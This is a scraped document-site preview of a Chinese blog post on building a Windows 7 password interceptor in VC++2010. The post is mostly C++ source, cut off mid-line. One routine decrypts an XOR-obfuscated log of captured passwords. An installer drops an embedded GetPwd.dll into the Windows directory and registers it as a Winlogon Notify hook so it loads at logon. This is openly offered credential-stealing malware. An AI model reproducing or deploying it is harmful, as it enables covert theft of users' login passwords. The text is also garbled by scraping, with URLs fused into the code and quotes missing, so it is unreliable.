文档详情

VC++2010实现截获Windows 7密码.docx

发布:2017-12-15约9.14千字共13页下载文档
文本预览下载声明
/yincheng01/article/details/6082636基于VC++2010实现截获Windows 7密码 分类: /yincheng01/article/category/496131VC++编程技术 /yincheng01/article/category/663226Visual C++2010编程技术 2010-12-17 16:59 744人阅读 /yincheng01/article/details/6082636评论(1) javascript:void(0);收藏 /yincheng01/article/details/6082636举报 Windows外壳,安装Windows密码截获器/yincheng01/article/details/6082636view plain/yincheng01/article/details/6082636copy to clipboard/yincheng01/article/details/6082636print/yincheng01/article/details/6082636?void?dey()//解密 ?{??printf(/r/n请不要移动原密码文件!);??system(pause);??char?buffer[10000];??ZeroMemory(buffer,10000);??char?LogPath[255]?=?{0};??GetSystemDirectory(?LogPath?,?MAX_PATH);??lstrcat(?LogPath,?//pwd.txt);??HANDLE?hfile?=?CreateFile(??LogPath,??GENERIC_READ,FILE_SHARE_WRITE,??0,??OPEN_ALWAYS,??FILE_ATTRIBUTE_NORMAL,??0);??if(!hfile)??{??printf(打开文件失败!);??return;??}??DWORD?st;??int?a=ReadFile(hfile,buffer,10000,st,0);??if(!a)??{??printf(读取失败!);??return;??}??for(int?i?=?0;istrlen(buffer);i++)??{??buffer[i]=buffer[i]^3;??}??printf(解密内容为:/r/n%s,buffer);??return;??}??bool?installed();?//判断是否已经安装 ?void?installe()??//安装函数 ?{??if(installed())??{??printf(已经安装过了!);??return;}??HRSRC?hResInfo;??HGLOBAL?hResData;??DWORD?dwSize,?dwWritten;??LPBYTE?p;??HANDLE?hFile;??hResInfo?=?FindResource(NULL,?MAKEINTRESOURCE(IDR_DLL1),?dll);??dwSize?=?SizeofResource(NULL,?hResInfo);??hResData?=?LoadResource(NULL,?hResInfo);??p?=?(LPBYTE)GlobalAlloc(GPTR,?dwSize);??CopyMemory((LPVOID)p,?(LPCVOID)LockResource(hResData),?dwSize);//定位资源 ?char?pfile[200];??GetWindowsDirectory(pfile,?200);??strcat(pfile,//GetPwd.dll);//C:/WINDOWS/??hFile?=?CreateFile(pfile,?GENERIC_WRITE,?0,?NULL,?CREATE_ALWAYS,?0,?NULL);??WriteFile(hFile,?(LPCVOID)p,dwSize,?dwWritten,?NULL);??CloseHandle(hFile);??GlobalFree((HGLOBAL)p);??HKEY?hkey;if(ERROR_SUCCESS==RegCreateKey(HKEY_LOCAL_MACHINE,??SOFTWARE//Microsoft//Windows?NT//CurrentVersion//Winlogon//Notify//GetPwd//,??hkey)??)??{??char?*?name3?=dog;RegSetValueEx(hkey,dllname,0,REG_SZ,(const?unsigne
显示全部
相似文档